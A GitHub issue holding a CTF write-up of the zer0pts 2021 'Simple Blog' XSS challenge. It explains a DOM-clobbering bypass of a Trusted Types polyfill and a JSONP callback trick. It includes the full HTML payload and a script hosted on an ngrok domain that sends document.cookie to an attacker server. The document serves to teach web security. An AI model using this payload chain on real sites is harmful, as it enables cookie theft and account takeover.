Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

zer0pts CTF 2021 - Simple Blog #21

Open
aszx87410 opened this issue Mar 7, 2021 · 1 comment
Open

zer0pts CTF 2021 - Simple Blog #21

aszx87410 opened this issue Mar 7, 2021 · 1 comment
Labels

Comments

@aszx87410
Copy link
Owner

Simple Blog

Description

Now I am developing a blog service. I'm aware that there is a simple XSS. However, I introduced strong security mechanisms, named Content Security Policy and Trusted Types. So you cannot abuse the vulnerability in any modern browsers, including Firefox, right?

Writeup

Because there is a report feature so we know it's a challenge about XSS.

Apparently, we can control the theme query string to render whatever we want on the page, but we can't do much because of the strict CSP. We can't execute inline script, but at least there is one thing we know: we can inject html.

Then I played around with the website to find where I can do XSS, it's obviously that if we can control the callback params of api.php, we can execute arbitrary JavaScript code:

<?php
header('Content-Type: application/javascript');
$callback = $_GET['callback'] ?? 'render';
if (strlen($callback) > 20) {
  die('throw new Error("callback name is too long")');
}
echo $callback . '(' . json_encode([
  ["id" => 1, "title" => "Hello, world!", "content" => "Welcome to my blog platform!"],
  ["id" => 2, "title" => "Lorem ipsum", "content" => "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."]
]) . ')';

For example, api.php?callback=alert(1); will display a popup because the output is alert(1);([...]).

Manipulating the value of window.callback is simple, DOM clobbering works in this case.

But unfortunately it's still not working in the end because of the Trusted Types feature.

Actually I don't even know what is Trusted Types before this chall so I quickly google it and found that it's a new way to prevent DOM XSS, and the developer can write their own policy for filtering malicious payload.

For example, this call registers a default policy and block the url which includes callback and check if trustedTypes.defaultPolicy is successfully registered.

const init = () => {
  // try to register trusted types
  try {
    trustedTypes.createPolicy('default', {
      createHTML(url) {
        return url.replace(/[<>]/g, '');
      },
      createScriptURL(url) {
        if (url.includes('callback')) {
          throw new Error('custom callback is unimplemented');
        }

        return url;
      }
    });
  } catch {
    if (!trustedTypes.defaultPolicy) {
      throw new Error('failed to register default policy');
    }
  }

  // TODO: implement custom callback
  jsonp('/api.php', window.callback);
};

For now even we can decide what is the value for window.callback, we can't pass it to api.php.

So our goal is quite clear, if we can bypass this check, we can do XSS. But how?

If you read the description carefully, you should know this problem must be something to do with Firefox because the description mention Firefox particularly.

At first I tried to google the keyword like: firefox trusted type vulnerability, firefox trusted type bug but got no luck.

Later on, I found a js file named trustedtypes.build.js, and from the source code we know it's from Google. But from the resources I read before, Trusted Types is a built-in feature so no need any js file, unless... it's not implemented yet.

If it's not implemented, we need a polyfill to simulate this feature. At that moment I know why this chall choose Firefox, because Firefox has no built-in support for trusted types yet so it needs a polyfill to work properly.

You can find the original polyfill easily by googling, here is the snippet of the file: https://github.com/w3c/webappsec-trusted-types/blob/main/src/polyfill/full.js

/**
 * Determines if the enforcement should be enabled.
 * @return {boolean}
 */
function shouldBootstrap() {
  for (const rootProperty of ['trustedTypes', 'TrustedTypes']) {
    if (window[rootProperty] && !window[rootProperty]['_isPolyfill_']) {
      // Native implementation exists
      return false;
    }
  }
  return true;
}

// Bootstrap only if native implementation is missing.
if (shouldBootstrap()) {
  bootstrap();
}

The check is common, only polyfill if there is no native support. Actually we can cheated to pretend it has native support via DOM clobbering.

Remember we can inject any HTML payload?

<a id="trustedTypes" />

So window['trustedTypes'] is truthy and bootstrap function won't be execute, there is no Trusted Types anymore!

But it's not finished yet, there is another check fortrustedTypes.defaultPolicy:

const init = () => {
  try {
    // ignore
  } catch {
    // we need to bypass this
    if (!trustedTypes.defaultPolicy) {
      throw new Error('failed to register default policy');
    }
  }

  jsonp('/api.php', window.callback);
};

Easy, we can use form instead of a to create two-level DOM clobbering:

<form id="trustedTypes">
  <input name="defaultPolicy" />
</form>

After bypass Trusted Types, we can execute arbitrary JavaScript via api.php.

But there is another issue, the length of callback can only be 20 char, how can I do XSS and get cookie within this limitation? document.cookie itself is already 15 characters.

I stuck here for so long, try to use eval or setTimeout but it has been block by CSP, for sure.

After trying like an hour, I realized that I can reuse the existed function: jsonp, oh it took me so long

const jsonp = (url, callback) => {
  const s = document.createElement('script');

  if (callback) {
    s.src = `${url}?callback=${callback}`;
  } else {
    s.src = url;
  }

  document.body.appendChild(s);
};

By calling jsonp we can inject our own script instead of doing XSS directly on the page.

But the url is still too long(unless you domain is quite short), how can we do?

DOM clobbering again!

// xss payload url
<a id="y" href="https://a7f488587d27.ngrok.io/payload.js"></a>

// manipulate window.callback
<a id="callback" href="a&callback=jsonp(y);"></a>

The content of self-hosted file payload.js is quite simple:

location='my_server?c='+document.cookie

By chaining all the vulnerabilities above, mostly DOM clobbering, we can do XSS and get the cookie, which is the flag.

// bypass Trusted Types
<form id="trustedTypes"><input name="defaultPolicy" /></form>

// xss via file
<a id="y" href="https://a7f488587d27.ngrok.io/payload.js"></a>

// manipulate window.callback
<a id="callback" href="a&callback=jsonp(y);"></a>
@aszx87410
Copy link
Owner Author

official writeup: https://hackmd.io/@st98/S1z9qV1X_

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant